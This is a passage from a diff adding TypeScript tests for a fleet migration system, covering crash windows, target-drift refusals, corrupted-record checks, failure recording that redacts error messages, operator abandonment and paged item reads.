+      world.operationStore.loseCommit = 'before';
+      await expect(continueWorld(world, token)).rejects.toThrow(
+        'progress response lost',
+      );
+      const migrated = copy(world.current());
+      const puts = world.fleetStore.puts.length;
+      expect(migrated.phase).toBe('migrating');
+      expect(world.operationStore.item().planCursor).toBe(cursor);
+      await continueWorld(world, token);
+      expect(world.current()).toEqual(migrated);
+      expect(world.fleetStore.puts).toHaveLength(puts);
+      expect(world.operationStore.item().planCursor).toBe((cursor ?? 0) + 1);
+      expect(world.operationStore.calls).not.toContain('fail');
+    }
+    for (const bounded of [false, true]) {
+      const world = createWorld();
+      const applicationSecret = 'migration-application-secret';
+      world.spec = {
+        ...world.spec,
+        application: {
+          vars: [{ name: 'FEATURE', value: 'enabled' }],
+          secrets: [
+            {
+              name: 'UPSTREAM_KEY',
+              valueSha256: createHash('sha256')
+                .update(applicationSecret)
+                .digest('hex'),
+            },
+          ],
+          r2Buckets: [],
+        },
+      };
+      const optionsFor = world.options;
+      world.options = (action) => ({
+        ...optionsFor(action),
+        secretsFor: () => ({
+          ...SECRETS,
+          application: { UPSTREAM_KEY: applicationSecret },
+        }),
+      });
+      if (bounded) {
+        expect((await drainWorld(world)).status).toBe('complete');
+      } else {
+        const options = world.options({ kind: 'continue', token: {} });
+        await migrateFleet({
+          store: world.fleetStore,
+          records: [world.initial],
+          canaryTenantTags: [],
+          backendFor: options.backendFor,
+          specFor: options.specFor,
+          secretsFor: options.secretsFor,
+          settlementFor: options.settlementFor,
+          clock: options.clock,
+        });
+      }
+      expect(world.current().phase).toBe('ready');
+      expect(world.current().applicationBindings?.vars).toEqual([
+        { name: 'FEATURE', value: 'enabled' },
+      ]);
+      expect(
+        world.releases.get(world.spec.scriptName)?.plainTextBindings,
+      ).toEqual({
+        FEATURE: 'enabled',
+      });
+      expect(world.ops).toContain('promote');
+      expect(world.ops).toContain('settle');
+      expect(world.releases.get(world.spec.scriptName)?.secretNames).toContain(
+        'UPSTREAM_KEY',
+      );
+    }
+  });
+
+  it('target-drift is classified before non-ready guards and cannot be forged by callback throws', async () => {
+    for (const backfillShape of [false, true]) {
+      const world = createWorld({ external: backfillShape });
+      const admitted = await continueWorld(world, await world.start());
+      if (backfillShape) {
+        const record = { ...world.current() };
+        delete record.platformTarget;
+        world.fleetStore.set(record);
+        expect(record.platformResources).toBeDefined();
+      }
+      world.spec = {
+        ...world.spec,
+        modules: [
+          { name: 'worker.js', content: 'export default { changed: true }' },
+        ],
+      };
+      if (backfillShape) {
+        world.fleetStore.set({
+          ...world.current(),
+          desiredSpecDigest: deploymentSpecDigest(world.spec),
+        });
+      }
+      const puts = world.fleetStore.puts.length;
+      await expect(continueWorld(world, admitted)).rejects.toThrow(
+        'fleet migration target specification changed after admission',
+      );
+      expect(
+        world.operationStore.operations.get(uuid())?.progress.failure,
+      ).toEqual({ reason: 'target-drift', itemOrdinal: 0 });
+      expect(world.operationStore.item().status).toBe('failed');
+      expect(world.fleetStore.puts).toHaveLength(puts);
+      expect(
+        world.operationStore.calls.filter((op) => op === 'fail'),
+      ).toHaveLength(1);
+    }
+    for (const config of [
+      { path: 'full', external: false },
+      { path: 'full', external: true },
+      { path: 'platform-only', external: true },
+    ] as const) {
+      const world = createWorld(config);
+      const token = await advanceTo(world, 'assert-migrating');
+      world.spec = {
+        ...world.spec,
+        modules: [
+          { name: 'worker.js', content: 'export default { changed: true }' },
+        ],
+      };
+      const puts = world.fleetStore.puts.length;
+      await expect(continueWorld(world, token)).rejects.toThrow(
+        "deployment 'cedar:production' retry uses a different desired specification",
+      );
+      expect(
+        world.operationStore.operations.get(uuid())?.progress.failure,
+      ).toEqual({
+        reason: 'item-failed',
+        itemOrdinal: 0,
+      });
+      expect(world.fleetStore.puts).toHaveLength(puts);
+    }
+    for (const thrown of [
+      new Error('fleet migration target specification changed after admission'),
+      { reason: 'target-drift' },
+    ]) {
+      const world = createWorld();
+      const admitted = await continueWorld(world, await world.start());
+      const options = world.options({
+        kind: 'continue',
+        token: admitted.token,
+      });
+      await expect(
+        advanceFleetMigration({
+          ...options,
+          specFor: () => {
+            throw thrown;
+          },
+        }),
+      ).rejects.toBe(thrown);
+      expect(
+        world.operationStore.operations.get(uuid())?.progress.failure,
+      ).toEqual({ reason: 'item-failed', itemOrdinal: 0 });
+    }
+  });
+
+  it('a migrating-phase admission resumes both persisted intent kinds and preserves the legacy divergence refusal', async () => {
+    for (const path of ['full', 'platform-only'] as const) {
+      const world = createWorld({ path, external: true });
+      await advanceTo(world, 'assert-migrating');
+      const store = new MemoryOperationStore();
+      const options = (action: FleetMigrationAdvanceAction) => ({
+        ...world.options(action),
+        operationStore: store,
+      });
+      const started = await advanceFleetMigration(
+        options({
+          kind: 'start',
+          operationId: uuid(2),
+          records: [world.current()],
+          canaryTenantTags: [],
+        }),
+      );
+      world.fleetStore.puts.length = 0;
+      await advanceFleetMigration(
+        options({ kind: 'continue', token: started.token }),
+      );
+      const item = store.item(uuid(2));
+      expect(item.plan?.[0]).toEqual({ step: 'assert-migrating' });
+      expect(item.plan?.some(({ step }) => step === 'admit-migrating')).toBe(
+        false,
+      );
+      expect(
+        item.plan?.some(({ step }) => step.startsWith('platform-only-')),
+      ).toBe(path === 'platform-only');
+      expect(world.fleetStore.puts).toEqual([]);
+      const current = world.current();
+      if (!current.migrationIntent) throw new Error('missing migration intent');
+      world.fleetStore.set({
+        ...current,
+        migrationIntent: {
+          ...current.migrationIntent,
+          ...(path === 'platform-only'
+            ? {
+                target: {
+                  ...current.migrationIntent.target,
+                  stateArtifactDigest: 'f'.repeat(64),
+                },
+              }
+            : {}),
+        },
+        ...(path === 'full'
+          ? {
+              pendingRelease: {
+                ...(current.pendingRelease as ExternalReleaseSnapshot),
+                physicalScriptName: 'foreign-pending',
+              },
+            }
+          : {}),
+      });
+      const failedStore = new MemoryOperationStore();
+      const failedOptions = (action: FleetMigrationAdvanceAction) => ({
+        ...world.options(action),
+        operationStore: failedStore,
+      });
+      const pending = await advanceFleetMigration(
+        failedOptions({
+          kind: 'start',
+          operationId: uuid(3),
+          records: [world.current()],
+          canaryTenantTags: [],
+        }),
+      );
+      await expect(
+        advanceFleetMigration(
+          failedOptions({ kind: 'continue', token: pending.token }),
+        ),
+      ).rejects.toThrow(
+        'migration retry uses a different desired specification',
+      );
+      expect(failedStore.item(uuid(3))).toMatchObject({ status: 'failed' });
+      expect(failedStore.item(uuid(3)).plan).toBeUndefined();
+      expect(world.fleetStore.puts).toEqual([]);
+    }
+  });
+
+  it('a migrating-phase admission refuses a migration candidate whose live artifact version left the persisted release', async () => {
+    const world = createWorld({ external: true });
+    await advanceTo(world, 'arm-maintenance');
+    const migrating = world.current();
+    expect(migrating.phase).toBe('migrating');
+    expect(migrating.migrationIntent?.subphase).toBe('candidate-deployed');
+    const release = migrating.pendingRelease as ExternalReleaseSnapshot;
+    expect(release.artifactVersion).toBe(`v${world.spec.schemaVersion}`);
+    const resumed = new MemoryOperationStore();
+    armOptions(world, { operationStore: resumed });
+    let next = await armedStart(world, uuid(2), [migrating]);
+    for (let count = 0; count < 80; count += 1) {
+      const staged = resumed.item(uuid(2));
+      if (staged.plan?.[staged.planCursor ?? -1]?.step === 'deploy-candidate') {
+        break;
+      }
+      if (next.status !== 'pending') {
+        throw new Error('terminated before deploy-candidate');
+      }
+      next = await continueWorld(world, next);
+    }
+    const item = resumed.item(uuid(2));
+    expect(item.plan?.[item.planCursor ?? -1]?.step).toBe('deploy-candidate');
+    // The release name now serves a different artifact than the record pins.
+    world.releases.set(
+      release.physicalScriptName,
+      world.liveFor(world.spec, 'v9'),
+    );
+    world.ops.length = 0;
+    await expect(continueWorld(world, next)).rejects.toThrow(
+      `migration candidate immutable release '${release.physicalScriptName}' does not match persisted artifact version '${release.artifactVersion}'`,
+    );
+    expect(resumed.item(uuid(2)).status).toBe('failed');
+    expect(world.current().pendingRelease?.artifactVersion).toBe(
+      release.artifactVersion,
+    );
+    expect(providerMutations(world)).toEqual([]);
+  });
+
+  it('retire-post follows the ready commit and refuses a restored migrating carrier', async () => {
+    for (const restored of [false, true]) {
+      const world = createWorld({ external: true });
+      world.fleetStore.set({
+        ...world.initial,
+        rollbackRelease: {
+          ...world.priorRelease,
+          physicalScriptName: 'expired-rollback',
+        },
+      });
+      const beforeCommit = await advanceTo(world, 'settle-ready');
+      const migrating = copy(world.current());
+      const committed = await continueWorld(world, beforeCommit);
+      expect(world.current().phase).toBe('ready');
+      expect(
+        world.operationStore.item().plan?.[
+          world.operationStore.item().planCursor ?? -1
+        ]?.step,
+      ).toBe('retire-post');
+      if (restored) world.fleetStore.set(migrating);
+      world.ops.length = 0;
+      const puts = world.fleetStore.puts.length;
+      if (restored) {
+        await expect(continueWorld(world, committed)).rejects.toThrow(
+          'fleet migration item no longer matches its frozen plan',
+        );
+        expect(world.ops.some((op) => op.startsWith('retire:'))).toBe(false);
+        expect(world.fleetStore.puts).toHaveLength(puts);
+        expect(world.operationStore.item().status).toBe('failed');
+      } else {
+        await continueWorld(world, committed);
+        expect(world.ops).toContain('retire:expired-rollback');
+        expect(world.current().retiringRelease).toBeUndefined();
+        expect(world.operationStore.item().status).toBe('complete');
+      }
+    }
+  });
+
+  it('terminal re-runs short-circuit exactly the converged projection and preserve its documented accepted classes', async () => {
+    async function terminal(
+      world: World,
+      step: 'settle-ready' | 'platform-only-ready',
+    ) {
+      const token = await advanceTo(world, step);
+      const item = world.operationStore.item();
+      world.operationStore.loseCommit = 'before';
+      await expect(continueWorld(world, token)).rejects.toThrow(
+        'progress response lost',
+      );
+      expect(world.current().phase).toBe('ready');
+      expect(world.operationStore.item()).toEqual(item);
+      return { token, item };
+    }
+    async function directProjection(
+      world: World,
+      item: FleetMigrationItem,
+      accepts: boolean,
+    ) {
+      await withAdmitted(world, async ({ admitted, reread }) => {
+        if (!item.plan || item.planCursor === undefined)
+          throw new Error('missing terminal cursor');
+        world.ops.length = 0;
+        const platformOnly =
+          item.plan[item.planCursor]?.step === 'platform-only-ready';
+        if (!accepts) {
+          await expect(
+            assertFleetMigrationPlanCompatibility(
+              admitted,
+              { plan: item.plan, planCursor: item.planCursor },
+              reread,
+            ),
+          ).rejects.toThrow(
+            'fleet migration item no longer matches its frozen plan',
+          );
+          expect(world.ops).toEqual([]);
+          if (platformOnly) return;
+        }
+        if (!accepts)
+          world.backend.inspect = async () => {
+            world.ops.push('projection-fallback');
+            throw new Error('terminal projection did not accept');
+          };
+        const result = executeNextMigrationStep(
+          admitted,
+          item.plan,
+          item.planCursor,
+          { entry: reread, current: reread },
+        );
+        if (accepts) {
+          const terminalResult = await result;
+          expect(terminalResult.record).toBe(reread);
+          expect(terminalResult.done).toBe(platformOnly);
+          expect(terminalResult.resultOnDone).toBe(
+            platformOnly ? reread : undefined,
+          );
+          expect(world.ops).toEqual([]);
+        } else
+          await expect(result).rejects.toThrow(
+            'terminal projection did not accept',
+          );
+      });
+    }
+    for (const path of ['full', 'platform-only'] as const) {
+      const world = createWorld({
+        path,
+        external: true,
+        lagging: path === 'platform-only',
+      });
+      const { token, item } = await terminal(
+        world,
+        path === 'full' ? 'settle-ready' : 'platform-only-ready',
+      );
+      if (path === 'platform-only') {
+        expect(
+          world.current().activeRelease?.releaseSchemaVersion,
+        ).toBeLessThan(world.current().schemaVersion);
+        expect(world.current().platformTarget?.d1SchemaVersion).toBe(2);
+        expect(world.targetFor(world.spec).d1SchemaVersion).toBe(1);
+      }
+      await directProjection(world, item, true);
+      world.ops.length = 0;
+      const puts = world.fleetStore.puts.length;
+      await continueWorld(world, token);
+      expect(
+        world.ops.filter(
+          (op) =>
+            !/^(backend:|spec:|secrets:)/u.test(op) &&
+            ![
+              'releaseScriptName',
+              'describeTarget',
+              'getDatabase',
+              'readDeploymentIdentity',
+            ].includes(op),
+        ),
+      ).toEqual([]);
+      expect(world.fleetStore.puts).toHaveLength(puts);
+      expect(world.operationStore.item().planCursor).toBe(
+        (item.planCursor ?? 0) + 1,
+      );
+    }
+    const fullDowngrade = createWorld({ external: true });
+    const fullTerminal = await terminal(fullDowngrade, 'settle-ready');
+    fullDowngrade.fleetStore.set({
+      ...fullDowngrade.current(),
+      schemaVersion: 4,
+    });
+    await expect(
+      continueWorld(fullDowngrade, fullTerminal.token),
+    ).rejects.toThrow('schema downgrade refused for cedar:production');
+
+    const premature = createWorld({ path: 'platform-only', lagging: true });
+    const beforeAdmission = await continueWorld(
+      premature,
+      await premature.start(),
+    );
+    premature.fleetStore.set({
+      ...premature.current(),
+      platformTarget: {
+        ...premature.targetFor(premature.spec),
+        d1SchemaVersion: 2,
+        d1SchemaHistoryDigest: 'f'.repeat(64),
+      },
+    });
+    const prematurePuts = premature.fleetStore.puts.length;
+    await expect(continueWorld(premature, beforeAdmission)).rejects.toThrow(
+      'fleet migration item no longer matches its frozen plan',
+    );
+    expect(premature.fleetStore.puts).toHaveLength(prematurePuts);
+
+    const corruptions: readonly [
+      string,
+      (record: FleetRecord) => FleetRecord,
+    ][] = [
+      [
+        'policy',
+        (record) => ({
+          ...record,
+          outboundPolicy: {
+            ...(record.outboundPolicy as NonNullable<
+              FleetRecord['outboundPolicy']
+            >),
+            policyHosts: ['wrong.example.test'],
+          },
+        }),
+      ],
+      ['schema', (record) => ({ ...record, schemaVersion: 2 })],
+      [
+        'pending digest',
+        (record) => ({ ...record, pendingSpecDigest: 'f'.repeat(64) }),
+      ],
+      [
+        'pending artifact',
+        (record) => ({ ...record, pendingArtifactVersion: 'unsettled' }),
+      ],
+      [
+        'pending release',
+        (record) => ({ ...record, pendingRelease: record.activeRelease }),
+      ],
+      [
+        'prior release',
+        (record) => ({
+          ...record,
+          migrationPriorRelease: record.activeRelease,
+        }),
+      ],
+      [
+        'cleared target',
+        (record) => {
+          const copy = { ...record };
+          delete copy.platformTarget;
+          return copy;
+        },
+      ],
+      [
+        'active name',
+        (record) => ({
+          ...record,
+          activeRelease: {
+            ...(record.activeRelease as ExternalReleaseSnapshot),
+            physicalScriptName: 'foreign-active',
+          },
+        }),
+      ],
+      [
+        'active schema',
+        (record) => ({
+          ...record,
+          activeRelease: {
+            ...(record.activeRelease as ExternalReleaseSnapshot),
+            releaseSchemaVersion: 1,
+          },
+        }),
+      ],
+      [
+        'bindings',
+        (record) => ({
+          ...record,
+          applicationBindings: {
+            ...EMPTY_APPLICATION,
+            vars: [{ name: 'WRONG', value: '1' }],
+          },
+        }),
+      ],
+    ];
+    for (const [_label, corrupt] of corruptions) {
+      const world = createWorld({ external: true });
+      const { item } = await terminal(world, 'settle-ready');
+      world.fleetStore.set(corrupt(world.current()));
+      await directProjection(world, item, false);
+    }
+    const wrongPoPolicy = createWorld({ path: 'platform-only', lagging: true });
+    const poTerminal = await terminal(wrongPoPolicy, 'platform-only-ready');
+    const corruptPolicy = corruptions[0]?.[1];
+    if (!corruptPolicy) throw new Error('missing policy corruption');
+    wrongPoPolicy.fleetStore.set(corruptPolicy(wrongPoPolicy.current()));
+    await directProjection(wrongPoPolicy, poTerminal.item, false);
+
+    for (const foreignRetirement of [false, true]) {
+      const world = createWorld({ external: true });
+      const { token, item } = await terminal(world, 'settle-ready');
+      const current = world.current();
+      if (!current.platformResources)
+        throw new Error('missing platform resources');
+      world.fleetStore.set(
+        foreignRetirement
+          ? {
+              ...current,
+              retiringRelease: {
+                ...world.priorRelease,
+                physicalScriptName: 'foreign-retiring',
+              },
+            }
+          : {
+              ...current,
+              platformResources: {
+                ...current.platformResources,
+                stateWorker: {
+                  ...current.platformResources.stateWorker,
+                  artifactVersion: 'corrupted-spread-field',
+                },
+              },
+            },
+      );
+      await directProjection(world, item, true);
+      const after = await continueWorld(world, token);
+      if (foreignRetirement) {
+        await continueWorld(world, after);
+        expect(world.ops).toContain('retire:foreign-retiring');
+      }
+    }
+
+    const resourceWorld = createWorld();
+    resourceWorld.spec = {
+      ...resourceWorld.spec,
+      application: { vars: [], secrets: [], r2Buckets: [{ name: 'ASSETS' }] },
+    };
+    const resource = {
+      name: 'ASSETS',
+      bucketName: 'owned-bucket',
+      jurisdiction: 'default' as const,
+      state: 'created' as const,
+      reservationNonce: 'test-reservation',
+      creationDate: '2026-08-01T00:00:00.000Z',
+    };
+    resourceWorld.fleetStore.set({
+      ...resourceWorld.initial,
+      applicationResources: [resource],
+      applicationBindings: applicationBindingTopology(resourceWorld.spec, [
+        resource,
+      ]),
+    });
+    const { item: resourceItem } = await terminal(
+      resourceWorld,
+      'settle-ready',
+    );
+    const resourceRecord = resourceWorld.current();
+    resourceWorld.fleetStore.set({
+      ...resourceRecord,
+      applicationResources: [{ ...resource, bucketName: 'foreign-bucket' }],
+      applicationBindings: {
+        ...EMPTY_APPLICATION,
+        r2Buckets: [
+          {
+            name: resource.name,
+            bucketName: 'foreign-bucket',
+            jurisdiction: resource.jurisdiction,
+          },
+        ],
+      },
+    });
+    await directProjection(resourceWorld, resourceItem, true);
+
+    const historyWorld = createWorld();
+    const history = [
+      { tag: 'v1', newClasses: ['Runner'] },
+      { tag: 'v2', newClasses: ['Second'] },
+      { tag: 'v3', newClasses: ['Third'] },
+    ];
+    historyWorld.spec = {
+      ...historyWorld.spec,
+      previousDurableObjectTag: 'v1',
+      durableObjectMigrations: history,
+    };
+    historyWorld.fleetStore.set({
+      ...historyWorld.initial,
+      durableObjectTag: 'v1',
+      durableObjectMigrationHistory: history.slice(0, 1),
+      durableObjectMigrationHistoryDigest: durableObjectMigrationHistoryDigest(
+        history.slice(0, 1),
+      ),
+    });
+    const { item: historyItem } = await terminal(historyWorld, 'settle-ready');
+    historyWorld.fleetStore.set({
+      ...historyWorld.current(),
+      durableObjectTag: 'v1',
+      durableObjectMigrationHistory: history.slice(0, 1),
+      durableObjectMigrationHistoryDigest: durableObjectMigrationHistoryDigest(
+        history.slice(0, 1),
+      ),
+    });
+    await directProjection(historyWorld, historyItem, true);
+
+    const reordered = createWorld({ external: true });
+    const reorderedTerminal = await terminal(reordered, 'settle-ready');
+    reordered.fleetStore.transformRead = (record) => {
+      const fresh = copy(record);
+      return {
+        ...fresh,
+        platformTarget: Object.fromEntries(
+          Object.entries(fresh.platformTarget ?? {}).reverse(),
+        ) as unknown as ExternalPlatformTargetDescription,
+      };
+    };
+    await withAdmitted(reordered, async ({ plan, reread }) => {
+      expect(reread).not.toBe(reordered.current());
+      expect(plan.some(({ step }) => step.startsWith('platform-only-'))).toBe(
+        true,
+      );
+    });
+    await expect(
+      continueWorld(reordered, reorderedTerminal.token),
+    ).rejects.toThrow('fleet migration item no longer matches its frozen plan');
+  });
+
+  it('crash window admit-migrating: no re-put from migrating', async () => {
+    for (const input of [
+      {},
+      { external: true },
+      { path: 'platform-only' as const },
+    ]) {
+      const world = createWorld(input);
+      const result = await advanceTo(world, 'admit-migrating');
+      const item = await loseStepResponse(world, result);
+      const admitted = copy(world.current());
+      expect(admitted.phase).toBe('migrating');
+      world.ops.length = 0;
+      const puts = world.fleetStore.puts.length;
+      await continueWorld(world, result);
+      expect(world.current()).toEqual(admitted);
+      expect(world.fleetStore.puts).toHaveLength(puts);
+      expect(providerMutations(world)).toEqual([]);
+      expect(world.operationStore.item().planCursor).toBe(
+        (item.planCursor ?? 0) + 1,
+      );
+    }
+  });
+
+  it('crash window apply-migrations: occurrence identity and ledger verification cover both sides of the schema put', async () => {
+    const intermediate = createWorld();
+    const result = await advanceTo(intermediate, 'apply-migrations');
+    await loseStepResponse(intermediate, result);
+    expect(intermediate.current().schemaVersion).toBe(2);
+    intermediate.ops.length = 0;
+    const puts = intermediate.fleetStore.puts.length;
+    const next = await continueWorld(intermediate, result);
+    expect(intermediate.ops.filter((op) => op.startsWith('apply:'))).toEqual(
+      [],
+    );
+    expect(intermediate.fleetStore.puts).toHaveLength(puts);
+    await continueWorld(intermediate, next);
+    expect(intermediate.ops.filter((op) => op.startsWith('apply:'))).toEqual([
+      'apply:3',
+    ]);
+
+    for (const missingLedger of [false, true]) {
+      const final = createWorld({ schemaVersion: 2 });
+      const token = await advanceTo(final, 'apply-migrations');
+      if (missingLedger)
+        final.fleetStore.set({ ...final.current(), schemaVersion: 2 });
+      else await loseStepResponse(final, token);
+      final.ops.length = 0;
+      const writes = final.fleetStore.puts.length;
+      if (missingLedger) {
+        await expect(continueWorld(final, token)).rejects.toThrow(
+          'migration ledger is incomplete',
+        );
+        expectItemFailure(final);
+      } else {
+        await continueWorld(final, token);
+      }
+      expect(final.ops.filter((op) => op.startsWith('apply:'))).toEqual([
+        'apply:verify',
+      ]);
+      expect(final.fleetStore.puts).toHaveLength(writes);
+    }
+
+    const beforePut = createWorld();
+    const token = await advanceTo(beforePut, 'apply-migrations');
+    const applied: number[] = [];
+    const apply = beforePut.backend.applyMigrations;
+    beforePut.backend.applyMigrations = async (...args) => {
+      for (const { version } of args[1])
+        if (!beforePut.ledger.has(version)) applied.push(version);
+      return apply(...args);
+    };
+    const interruption = new Error('process terminated before schema put');
+    beforePut.fleetStore.beforePut = (record) => {
+      if (record.schemaVersion === 2) throw interruption;
+    };
+    beforePut.operationStore.beforeFail = () => {
+      throw interruption;
+    };
+    await expect(continueWorld(beforePut, token)).rejects.toBe(interruption);
+    expect(beforePut.current().schemaVersion).toBe(1);
+    expect(beforePut.ledger.has(2)).toBe(true);
+    expect(beforePut.operationStore.item().status).toBe('active');
+    beforePut.fleetStore.beforePut = undefined;
+    beforePut.operationStore.beforeFail = undefined;
+    beforePut.ops.length = 0;
+    await continueWorld(beforePut, token);
+    expect(beforePut.ops.filter((op) => op.startsWith('apply:'))).toEqual([
+      'apply:2',
+    ]);
+    expect(applied).toEqual([2]);
+    expect(beforePut.current().schemaVersion).toBe(2);
+  });
+
+  it('crash window deploy-candidate: external re-deploys the same artifact; non-external adopts via inspect', async () => {
+    for (const external of [false, true]) {
+      const world = createWorld({ external });
+      const token = await advanceTo(world, 'deploy-candidate');
+      const deploys: Parameters<ProvisioningBackend['deployWorker']>[] = [];
+      const deploy = world.backend.deployWorker;
+      world.backend.deployWorker = async (...args) => {
+        deploys.push(args);
+        return deploy(...args);
+      };
+      const interruption = new Error('candidate commit interrupted');
+      world.fleetStore.beforePut = (record) => {
+        if (
+          record.pendingArtifactVersion ||
+          record.migrationIntent?.subphase === 'candidate-deployed'
+        )
+          throw interruption;
+      };
+      world.operationStore.beforeFail = () => {
+        throw interruption;
+      };
+      await expect(continueWorld(world, token)).rejects.toBe(interruption);
+      expect(deploys).toHaveLength(1);
+      world.fleetStore.beforePut = undefined;
+      world.operationStore.beforeFail = undefined;
+      world.ops.length = 0;
+      await continueWorld(world, token);
+      expect(deploys).toHaveLength(external ? 2 : 1);
+      if (external) {
+        expect(deploys[1]?.[0]).toBe(deploys[0]?.[0]);
+        expect(deploys[1]?.[1]).toEqual(deploys[0]?.[1]);
+        expect(deploys[1]?.[2]).toBe(deploys[0]?.[2]);
+        expect(deploys[1]?.[5]).toBe(deploys[0]?.[5]);
+        expect(world.ops).toContain('deploy');
+      } else {
+        expect(world.ops).toContain('inspect');
+        expect(world.ops).not.toContain('deploy');
+      }
+      expect(
+        external
+          ? world.current().pendingRelease?.artifactVersion
+          : world.current().pendingArtifactVersion,
+      ).toBe(`v${world.spec.schemaVersion}`);
+    }
+  });
+
+  it('crash window pending-topology: timestamp-only re-put', async () => {
+    const world = createWorld({ external: true });
+    const token = await advanceTo(world, 'pending-topology');
+    await loseStepResponse(world, token);
+    const prior = copy(world.current());
+    const puts = world.fleetStore.puts.length;
+    world.ops.length = 0;
+    await advanceFleetMigration({
+      ...world.options({ kind: 'continue', token: token.token }),
+      clock: () => NOW + 1000,
+    });
+    expect(world.fleetStore.puts).toHaveLength(puts + 1);
+    expect(world.current()).toEqual({
+      ...prior,
+      updatedAt: new Date(NOW + 1000).toISOString(),
+    });
+    expect(providerMutations(world)).toEqual([]);
+  });
+
+  it('crash window retire-post: cleared retiringRelease no-ops', async () => {
+    const world = createWorld({ external: true });
+    world.fleetStore.set({
+      ...world.initial,
+      rollbackRelease: {
+        ...world.priorRelease,
+        physicalScriptName: 'obsolete-release',
+      },
+    });
+    const token = await advanceTo(world, 'retire-post');
+    await loseStepResponse(world, token);
+    expect(world.ops).toContain('retire:obsolete-release');
+    expect(world.current().retiringRelease).toBeUndefined();
+    const prior = copy(world.current());
+    const puts = world.fleetStore.puts.length;
+    world.ops.length = 0;
+    await continueWorld(world, token);
+    expect(world.current()).toEqual(prior);
+    expect(world.fleetStore.puts).toHaveLength(puts);
+    expect(providerMutations(world)).toEqual([]);
+    expect(world.operationStore.item().status).toBe('complete');
+  });
+
+  it('first error: ONE failOperation batch and the original error rethrown; later ordinals never run', async () => {
+    const world = createWorld();
+    const later = baseRecord(deploymentSpec('later'));
+    world.fleetStore.set(later);
+    const result = await advanceTo(
+      world,
+      'seed-identity',
+      await world.start(uuid(), [world.initial, later]),
+    );
+    const original = new Error('Authorization: Bearer private-provider-error');
+    world.fail('seed:cedar', original);
+    await expect(continueWorld(world, result)).rejects.toBe(original);
+    expectItemFailure(world);
+    expect(world.operationStore.failures).toHaveLength(1);
+    expect(world.operationStore.failures[0]?.updateRows).toEqual([
+      {
+        rowKind: 'item',
+        ordinal: 0,
+        payload: { ...world.operationStore.item() },
+      },
+    ]);
+    expect(
+      world.operationStore.failures[0]?.runRecord.progress.failure,
+    ).toEqual({ reason: 'item-failed', itemOrdinal: 0 });
+    expect(world.operationStore.item(uuid(), 1)).toMatchObject({
+      status: 'pending',
+    });
+    expect(world.ops.some((op) => op.endsWith(':later'))).toBe(false);
+    expect(world.operationStore.heads.has('migration')).toBe(false);
+    expect(world.operationStore.operations.get(uuid())?.terminalAtMs).toBe(NOW);
+    expect(world.operationStore.operations.get(uuid())?.progress.revision).toBe(
+      result.token.revision + 1,
+    );
+    const bytes = JSON.stringify([
+      ...world.operationStore.operations.values(),
+      ...world.operationStore.rows.values(),
+    ]);
+    expect(bytes).not.toContain(original.message);
+    expect(bytes).not.toContain('Bearer');
+  });
+
+  it('continue on a failed operation returns the failed member with zero provider work', async () => {
+    const world = createWorld();
+    const token = await world.start();
+    const original = new Error('backend resolver failed');
+    await expect(
+      advanceFleetMigration({
+        ...world.options({ kind: 'continue', token: token.token }),
+        backendFor() {
+          throw original;
+        },
+      }),
+    ).rejects.toBe(original);
+    const run = world.operationStore.operations.get(uuid());
+    if (!run) throw new Error('missing failed run');
+    world.ops.length = 0;
+    world.fleetStore.ops.length = 0;
+    const calls = [...world.operationStore.calls];
+    const failed = await advanceFleetMigration(
+      world.options({
+        kind: 'continue',
+        token: { ...token.token, revision: run.progress.revision },
+      }),
+    );
+    expect(failed).toMatchObject({
+      status: 'failed',
+      failure: { reason: 'item-failed', itemOrdinal: 0 },
+    });
+    expect(world.ops).toEqual([]);
+    expect(world.fleetStore.ops).toEqual([]);
+    expect(world.operationStore.calls).toEqual(calls);
+  });
+
+  it('a disappeared record becomes the item failure', async () => {
+    for (const admitted of [false, true]) {
+      const world = createWorld();
+      let token = await world.start();
+      if (admitted) token = await continueWorld(world, token);
+      world.fleetStore.records.clear();
+      world.ops.length = 0;
+      await expect(continueWorld(world, token)).rejects.toThrow(
+        'fleet migration record disappeared',
+      );
+      expectItemFailure(world);
+      expect(world.ops).toEqual([]);
+      expect(world.fleetStore.puts).toEqual([]);
+    }
+  });
+
+  it('abandonFleetMigrationOperation: running becomes operator-abandoned with the active item failed; terminal is a no-op', async () => {
+    for (const admitted of [false, true]) {
+      const world = createWorld();
+      let token = await world.start();
+      if (admitted) token = await continueWorld(world, token);
+      const item = world.operationStore.item();
+      await abandonFleetMigrationOperation({
+        operationStore: world.operationStore,
+        operationId: uuid(),
+      });
+      expect(world.operationStore.item()).toEqual({
+        ...item,
+        status: 'failed',
+      });
+      expect(world.operationStore.operations.get(uuid())).toMatchObject({
+        state: 'failed',
+        terminalAtMs: NOW,
+        progress: {
+          revision: token.token.revision + 1,
+          failure: { reason: 'operator-abandoned', itemOrdinal: 0 },
+        },
+      });
+      expect(world.operationStore.heads.has('migration')).toBe(false);
+      const state = copy([...world.operationStore.operations.values()]);
+      const calls = [...world.operationStore.calls];
+      await abandonFleetMigrationOperation({
+        operationStore: world.operationStore,
+        operationId: uuid(),
+      });
+      expect([...world.operationStore.operations.values()]).toEqual(state);
+      expect(world.operationStore.calls).toEqual(calls);
+    }
+    const complete = createWorld({ path: 'ready' });
+    await drainWorld(complete);
+    const prior = copy([...complete.operationStore.operations.values()]);
+    const calls = [...complete.operationStore.calls];
+    await abandonFleetMigrationOperation({
+      operationStore: complete.operationStore,
+      operationId: uuid(),
+    });
+    expect([...complete.operationStore.operations.values()]).toEqual(prior);
+    expect(complete.operationStore.calls).toEqual(calls);
+  });
+
+  it('items page is readable while running', async () => {
+    const world = createWorld();
+    const records = [
+      world.initial,
+      baseRecord(deploymentSpec('elm')),
+      baseRecord(deploymentSpec('fir')),
+    ];
+    const token = await world.start(uuid(), records);
+    await continueWorld(world, token);
+    world.ops.length = 0;
+    const first = await readFleetMigrationItemsPage(world.operationStore, {
+      operationId: uuid(),
+      limit: 2,
+    });
+    expect(first.items.map((item) => item.ordinal)).toEqual([0, 1]);
+    expect(first.items.map((item) => item.status)).toEqual([
+      'active',
+      'pending',
+    ]);
+    expect(first.done).toBe(false);
+    const second = await readFleetMigrationItemsPage(world.operationStore, {
+      operationId: uuid(),
+      afterOrdinal: 1,
+      limit: 2,
+    });
+    expect(second.items.map((item) => item.ordinal)).toEqual([2]);
+    expect(second.done).toBe(true);
+    expect(world.ops).toEqual([]);
+    expect(world.operationStore.operations.get(uuid())?.state).toBe('running');
+    world.operationStore.reversePages = true;
+    expect(
+      (
+        await readFleetMigrationItemsPage(world.operationStore, {
+          operationId: uuid(),
+          limit: 3,
+        })
+      ).items.map((item) => item.ordinal),
